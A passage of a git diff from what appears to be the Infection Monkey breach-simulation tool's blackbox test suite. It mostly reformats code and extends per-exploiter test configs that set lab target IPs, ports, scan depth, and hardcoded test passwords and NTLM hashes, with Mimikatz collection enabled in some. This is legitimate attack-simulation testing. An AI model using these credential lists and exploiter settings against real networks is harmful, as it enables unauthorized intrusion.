times. - 3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion. - 3. Performance test will run as part of BlackBox tests or you can run it separately by adding - `-k 'test_telem_performance'` option. + 3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuration. + 3. Add a `--run-performance-tests` flag to blackbox scripts to run performance tests as part of BlackBox tests. + You can run a single test separately by adding `-k 'test_telem_performance'` option. diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer.py b/envs/monkey_zoo/blackbox/analyzers/analyzer.py index 13db46cb3..c4b55c766 100644 --- a/envs/monkey_zoo/blackbox/analyzers/analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer.py @@ -2,7 +2,6 @@ from abc import ABCMeta, abstractmethod class Analyzer(object, metaclass=ABCMeta): - @abstractmethod def analyze_test_results(self) -> bool: raise NotImplementedError() diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py index f97418813..88d06d52b 100644 --- a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py @@ -2,7 +2,6 @@ LOG_INIT_MESSAGE = "Analysis didn't run." class AnalyzerLog(object): - def __init__(self, analyzer_name): self.contents = LOG_INIT_MESSAGE self.name = analyzer_name diff --git a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py index 22841f783..9f43bee7c 100644 --- a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py @@ -3,7 +3,6 @@ from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog class CommunicationAnalyzer(Analyzer): - def __init__(self, island_client, machine_ips): self.island_client = island_client self.machine_ips = machine_ips @@ -21,5 +20,5 @@ class CommunicationAnalyzer(Analyzer): return all_monkeys_communicated def did_monkey_communicate_back(self, machine_ip): - query = {'ip_addresses': {'$elemMatch': {'$eq': machine_ip}}} + query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}} return len(self.island_client.find_monkeys_in_db(query)) > 0 diff --git a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py index 4a43ab6a5..30e635652 100644 --- a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py @@ -9,8 +9,9 @@ LOGGER = logging.getLogger(__name__) class PerformanceAnalyzer(Analyzer): - - def __init__(self, performance_test_config: PerformanceTestConfig, endpoint_timings: Dict[str, timedelta]): + def __init__( + self, performance_test_config: PerformanceTestConfig, endpoint_timings: Dict[str, timedelta] + ): self.performance_test_config = performance_test_config self.endpoint_timings = endpoint_timings @@ -32,7 +33,8 @@ class PerformanceAnalyzer(Analyzer): if self.performance_test_config.break_on_timeout and not performance_is_good_enough: LOGGER.warning( - "Calling breakpoint - pausing to enable investigation of island. Type 'c' to continue once you're done " + "Calling breakpoint - pausing to enable investigation of island. " + "Type 'c' to continue once you're done " "investigating. Type 'p timings' and 'p total_time' to see performance information." ) breakpoint() diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py index f5da3a2e1..5762a0315 100644 --- a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -1,21 +1,22 @@ -from typing import List from pprint import pformat +from typing import List import dpath.util -from common.config_value_paths import USER_LIST_PATH, PASSWORD_LIST_PATH, NTLM_HASH_LIST_PATH, LM_HASH_LIST_PATH +from common.config_value_paths import LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, USER_LIST_PATH from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient # Query for telemetry collection to see if password restoration was successful -TELEM_QUERY = {'telem_category': 'exploit', - 'data.exploiter': 'ZerologonExploiter', - 'data.info.password_restored': True} +TELEM_QUERY = { + "telem_category": "exploit", + "data.exploiter": "ZerologonExploiter", + "data.info.password_restored": True, +} class ZerologonAnalyzer(Analyzer): - def __init__(self, island_client: MonkeyIslandClient, expected_credentials: List[str]): self.island_client = island_client self.expected_credentials = expected_credentials @@ -35,13 +36,12 @@ class ZerologonAnalyzer(Analyzer): @staticmethod def _get_relevant_credentials(config: dict): credentials_on_island = [] - credentials_on_island.extend(dpath.util.get(config['configuration'], USER_LIST_PATH)) - credentials_on_island.extend(dpath.util.get(config['configuration'], NTLM_HASH_LIST_PATH)) - credentials_on_island.extend(dpath.util.get(config['configuration'], LM_HASH_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config["configuration"], USER_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config["configuration"], NTLM_HASH_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config["configuration"], LM_HASH_LIST_PATH)) return credentials_on_island - def _is_all_credentials_in_list(self, - all_creds: List[str]) -> bool: + def _is_all_credentials_in_list(self, all_creds: List[str]) -> bool: credentials_missing = [cred for cred in self.expected_credentials if cred not in all_creds] self._log_creds_not_gathered(credentials_missing) return not credentials_missing @@ -60,11 +60,13 @@ class ZerologonAnalyzer(Analyzer): def _log_credential_restore(self, telem_list: List[dict]): if telem_list: - self.log.add_entry("Zerologon exploiter telemetry contains indicators that credentials " - "were successfully restored.") + self.log.add_entry( + "Zerologon exploiter telemetry contains indicators that credentials " + "were successfully restored." + ) else: - self.log.add_entry("Credential restore failed or credential restore " - "telemetry not found on the Monkey Island.") + self.log.add_entry( + "Credential restore failed or credential restore " + "telemetry not found on the Monkey Island." + ) self.log.add_entry(f"Query for credential restore telem: {pformat(TELEM_QUERY)}") - - diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py index 9ebea6f1f..f55328312 100644 --- a/envs/monkey_zoo/blackbox/config_templates/base_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py @@ -7,8 +7,13 @@ class BaseTemplate(ConfigTemplate): config_values = { "basic.exploiters.exploiter_classes": [], "basic_network.scope.local_network_scan": False, + "basic_network.scope.depth": 1, "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], - "internal.monkey.system_info.system_info_collector_classes": - ["EnvironmentCollector", "HostnameCollector"], - "monkey.post_breach.post_breach_actions": [] + "internal.monkey.system_info.system_info_collector_classes": [ + "EnvironmentCollector", + "HostnameCollector", + ], + "monkey.post_breach.post_breach_actions": [], + "internal.general.keep_tunnel_open_time": 0, + "internal.monkey.internet_services": [], } diff --git a/envs/monkey_zoo/blackbox/config_templates/config_template.py b/envs/monkey_zoo/blackbox/config_templates/config_template.py index e0ff4e568..915a0cc78 100644 --- a/envs/monkey_zoo/blackbox/config_templates/config_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/config_template.py @@ -2,7 +2,6 @@ from abc import ABC, abstractmethod class ConfigTemplate(ABC): - @property @abstractmethod def config_values(self) -> dict: diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py index e202219dc..388a47a42 100644 --- a/envs/monkey_zoo/blackbox/config_templates/drupal.py +++ b/envs/monkey_zoo/blackbox/config_templates/drupal.py @@ -7,8 +7,12 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class Drupal(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], - "basic.exploiters.exploiter_classes": ["DrupalExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.28"] - }) + config_values.update( + { + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "basic.exploiters.exploiter_classes": ["DrupalExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.28"], + "internal.network.tcp_scanner.HTTP_PORTS": [80], + "internal.network.tcp_scanner.tcp_target_ports": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py index 56021e959..0a89b9cc3 100644 --- a/envs/monkey_zoo/blackbox/config_templates/elastic.py +++ b/envs/monkey_zoo/blackbox/config_templates/elastic.py @@ -8,8 +8,13 @@ class Elastic(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], - "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], + "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"], + "basic_network.scope.depth": 1, + "internal.network.tcp_scanner.HTTP_PORTS": [9200], + "internal.network.tcp_scanner.tcp_target_ports": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/hadoop.py index d136068e5..8238909fd 100644 --- a/envs/monkey_zoo/blackbox/config_templates/hadoop.py +++ b/envs/monkey_zoo/blackbox/config_templates/hadoop.py @@ -8,7 +8,11 @@ class Hadoop(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["HadoopExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.2", "10.2.2.3"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["HadoopExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.2", "10.2.2.3"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [8088], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py index 003f9f8d3..13d1c728e 100644 --- a/envs/monkey_zoo/blackbox/config_templates/mssql.py +++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py @@ -7,14 +7,19 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class Mssql(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["MSSQLExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.16"], - "basic.credentials.exploit_password_list": ["Password1!", - "Xk8VDTsC", - "password", - "12345678"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["MSSQLExploiter"], + "internal.classes.finger_classes": ["PingScanner"], + "basic_network.scope.subnet_scan_list": ["10.2.2.16"], + "basic.credentials.exploit_password_list": [ + "Password1!", + "Xk8VDTsC", + "password", + "12345678", + ], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [3389], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index e9e34727d..e5213b649 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -3,52 +3,60 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class Performance(ConfigTemplate): config_values = { - "basic.credentials.exploit_password_list": ["Xk8VDTsC", - "^NgDvY59~8", - "Ivrrw5zEzs", - "3Q=(Ge(+&w]*", - "`))jU7L(w}", - "t67TC5ZDmz"], + "basic.credentials.exploit_password_list": [ + "Xk8VDTsC", + "^NgDvY59~8", + "Ivrrw5zEzs", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz", + ], "basic.credentials.exploit_user_list": ["m0nk3y"], - "basic.exploiters.exploiter_classes": ["SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "VSFTPDExploiter", - "MSSQLExploiter", - "ZerologonExploiter"], - "basic_network.network_analysis.inaccessible_subnets": ["10.2.2.0/30", - "10.2.2.8/30", - "10.2.2.24/32", - "10.2.2.23/32", - "10.2.2.21/32", - "10.2.2.19/32", - "10.2.2.18/32", - "10.2.2.17/32"], - "basic_network.scope.subnet_scan_list": ["10.2.2.2", - "10.2.2.3", - "10.2.2.4", - "10.2.2.5", - "10.2.2.8", - "10.2.2.9", - "10.2.1.10", - "10.2.0.11", - "10.2.0.12", - "10.2.2.11", - "10.2.2.12", - "10.2.2.14", - "10.2.2.15", - "10.2.2.16", - "10.2.2.18", - "10.2.2.19", - "10.2.2.20", - "10.2.2.21", - "10.2.2.23", - "10.2.2.24", - "10.2.2.25"] + "basic.exploiters.exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter", + "ZerologonExploiter", + ], + "basic_network.network_analysis.inaccessible_subnets": [ + "10.2.2.0/30", + "10.2.2.8/30", + "10.2.2.24/32", + "10.2.2.23/32", + "10.2.2.21/32", + "10.2.2.19/32", + "10.2.2.18/32", + "10.2.2.17/32", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.2", + "10.2.2.3", + "10.2.2.4", + "10.2.2.5", + "10.2.2.8", + "10.2.2.9", + "10.2.1.10", + "10.2.0.11", + "10.2.0.12", + "10.2.2.11", + "10.2.2.12", + "10.2.2.14", + "10.2.2.15", + "10.2.2.16", + "10.2.2.18", + "10.2.2.19", + "10.2.2.20", + "10.2.2.21", + "10.2.2.23", + "10.2.2.24", + "10.2.2.25", + ], } diff --git a/envs/monkey_zoo/blackbox/config_templates/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py index 71d968e0b..b3620e5b9 100644 --- a/envs/monkey_zoo/blackbox/config_templates/shellshock.py +++ b/envs/monkey_zoo/blackbox/config_templates/shellshock.py @@ -7,7 +7,11 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class ShellShock(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["ShellShockExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.8"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["ShellShockExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.8"], + "internal.network.tcp_scanner.HTTP_PORTS": [80, 8080], + "internal.network.tcp_scanner.tcp_target_ports": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py index f563bc8d1..8c970d2d4 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py @@ -7,14 +7,20 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class SmbMimikatz(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["SmbExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], - "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], - "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], - "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["SmbExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [445], + "monkey.system_info.system_info_collector_classes": [ + "EnvironmentCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py index edee4cdbd..89a379d15 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py @@ -7,16 +7,18 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class SmbPth(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_value_list = { - "basic.exploiters.exploiter_classes": ["SmbExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.15"], - "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "internal.classes.finger_classes": ["SMBFinger", - "PingScanner", - "HTTPFinger"], - "internal.classes.exploits.exploit_ntlm_hash_list": ["5da0889ea2081aa79f6852294cba4a5e", - "50c9987a6bf1ac59398df9f911122c9b"] - } + config_values.update( + { + "basic.exploiters.exploiter_classes": ["SmbExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [445], + "internal.classes.exploits.exploit_ntlm_hash_list": [ + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py index 90871e52b..8099e50a6 100644 --- a/envs/monkey_zoo/blackbox/config_templates/ssh.py +++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py @@ -7,17 +7,15 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class Ssh(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["SSHExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.11", - "10.2.2.12"], - "basic.credentials.exploit_password_list": ["Password1!", - "12345678", - "^NgDvY59~8"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "internal.classes.finger_classes": ["SSHFinger", - "PingScanner", - "HTTPFinger"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["SSHExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.11", "10.2.2.12"], + "basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"], + "basic_network.scope.depth": 2, + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["SSHFinger", "PingScanner"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [22], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/struts2.py b/envs/monkey_zoo/blackbox/config_templates/struts2.py index 6eb399568..3997557b3 100644 --- a/envs/monkey_zoo/blackbox/config_templates/struts2.py +++ b/envs/monkey_zoo/blackbox/config_templates/struts2.py @@ -8,7 +8,12 @@ class Struts2(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["Struts2Exploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Struts2Exploiter"], + "basic_network.scope.depth": 2, + "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"], + "internal.network.tcp_scanner.HTTP_PORTS": [80, 8080], + "internal.network.tcp_scanner.tcp_target_ports": [80, 8080], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index ac46eb110..d23ad8708 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -7,27 +7,30 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class Tunneling(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["SmbExploiter", - "WmiExploiter", - "SSHExploiter" - ], - "basic_network.scope.subnet_scan_list": ["10.2.2.9", - "10.2.1.10", - "10.2.0.11", - "10.2.0.12"], - "basic_network.scope.depth": 3, - "internal.general.keep_tunnel_open_time": 180, - "basic.credentials.exploit_password_list": ["Password1!", - "3Q=(Ge(+&w]*", - "`))jU7L(w}", - "t67TC5ZDmz", - "12345678"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "internal.classes.finger_classes": ["SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["SmbExploiter", "WmiExploiter", "SSHExploiter"], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.9", + "10.2.1.10", + "10.2.0.11", + "10.2.0.12", + ], + "basic_network.scope.depth": 3, + "internal.general.keep_tunnel_open_time": 180, + "basic.credentials.exploit_password_list": [ + "Password1!", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz", + "12345678", + ], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py index 482f7abf9..10bdadd11 100644 --- a/envs/monkey_zoo/blackbox/config_templates/weblogic.py +++ b/envs/monkey_zoo/blackbox/config_templates/weblogic.py @@ -8,7 +8,11 @@ class Weblogic(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["WebLogicExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["WebLogicExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"], + "internal.network.tcp_scanner.HTTP_PORTS": [7001], + "internal.network.tcp_scanner.tcp_target_ports": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py index b6dbc0c88..8c484e7b2 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py @@ -7,17 +7,19 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class WmiMimikatz(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["WmiExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.14", - "10.2.2.15"], - "basic.credentials.exploit_password_list": ["Password1!", - "Ivrrw5zEzs"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["WmiExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [135], + "monkey.system_info.system_info_collector_classes": [ + "EnvironmentCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py index 92746c3df..84e7f3f70 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py @@ -14,6 +14,8 @@ class WmiPth(ConfigTemplate): "basic.credentials.exploit_password_list": ["Password1!"], "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [135], "internal.exploits.exploit_ntlm_hash_list": [ "5da0889ea2081aa79f6852294cba4a5e", "50c9987a6bf1ac59398df9f911122c9b", diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/zerologon.py index 28afa281f..93ebd5301 100644 --- a/envs/monkey_zoo/blackbox/config_templates/zerologon.py +++ b/envs/monkey_zoo/blackbox/config_templates/zerologon.py @@ -8,9 +8,13 @@ class Zerologon(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.25"], - # Empty list to make sure ZeroLogon adds "Administrator" username - "basic.credentials.exploit_user_list": [] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.25"], + # Empty list to make sure ZeroLogon adds "Administrator" username + "basic.credentials.exploit_user_list": [], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [135, 445], + } + ) diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index 4909bcbc7..cc608fae8 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -2,25 +2,52 @@ import pytest def pytest_addoption(parser): - parser.addoption("--island", action="store", default="", - help="Specify the Monkey Island address (host+port).") - parser.addoption("--no-gcp", action="store_true", default=False, - help="Use for no interaction with the cloud.") - parser.addoption("--quick-performance-tests", action="store_true", default=False, - help="If enabled performance tests won't reset island and won't send telemetries, " - "instead will just test performance of already present island state.") + parser.addoption( + "--island", + action="store", + default="", + help="Specify the Monkey Island address (host+port).", + ) + parser.addoption( + "--no-gcp", + action="store_true", + default=False, + help="Use for no interaction with the cloud.", + ) + parser.addoption( + "--quick-performance-tests", + action="store_true", + default=False, + help="If enabled performance tests won't reset island and won't send telemetries, " + "instead will just test performance of already present island state.", + ) + parser.addoption( + "--run-performance-tests", + action="store_true", + default=False, + help="If enabled performance tests will be run.", + ) -@pytest.fixture(scope='session') +@pytest.fixture(scope="session") def island(request): return request.config.getoption("--island") -@pytest.fixture(scope='session') +@pytest.fixture(scope="session") def no_gcp(request): return request.config.getoption("--no-gcp") -@pytest.fixture(scope='session') +@pytest.fixture(scope="session") def quick_performance_tests(request): return request.config.getoption("--quick-performance-tests") + + +def pytest_runtest_setup(item): + if "run_performance_tests" in item.keywords and not item.config.getoption( + "--run-performance-tests" + ): + pytest.skip( + "Skipping performance test because " "--run-performance-tests flag isn't specified." + ) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py new file mode 100644 index 000000000..43246ad24 --- /dev/null +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -0,0 +1,22 @@ +GCP_TEST_MACHINE_LIST = [ + "sshkeys-11", + "sshkeys-12", + "elastic-4", + "elastic-5", + "hadoop-2", + "hadoop-3", + "mssql-16", + "mimikatz-14", + "mimikatz-15", + "struts2-23", + "struts2-24", + "tunneling-9", + "tunneling-10", + "tunneling-11", + "tunneling-12", + "weblogic-18", + "weblogic-19", + "shellshock-8", + "zerologon-25", + "drupal-28", +] diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py index 5b7211f87..eda2def01 100644 --- a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py +++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py @@ -3,28 +3,27 @@ import json import dpath.util from typing_extensions import Type -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient class IslandConfigParser: - @staticmethod - def get_raw_config(config_template: Type[ConfigTemplate], - island_client: MonkeyIslandClient) -> str: + def get_raw_config( + config_template: Type[ConfigTemplate], island_client: MonkeyIslandClient + ) -> str: response = island_client.get_config() - config = IslandConfigParser.apply_template_to_config(config_template, response['configuration']) + config = IslandConfigParser.apply_template_to_config( + config_template, response["configuration"] + ) return json.dumps(config) @staticmethod - def apply_template_to_config(config_template: Type[ConfigTemplate], - config: dict) -> dict: + def apply_template_to_config(config_template: Type[ConfigTemplate], config: dict) -> dict: for path, value in config_template.config_values.items(): - dpath.util.set(config, path, value, 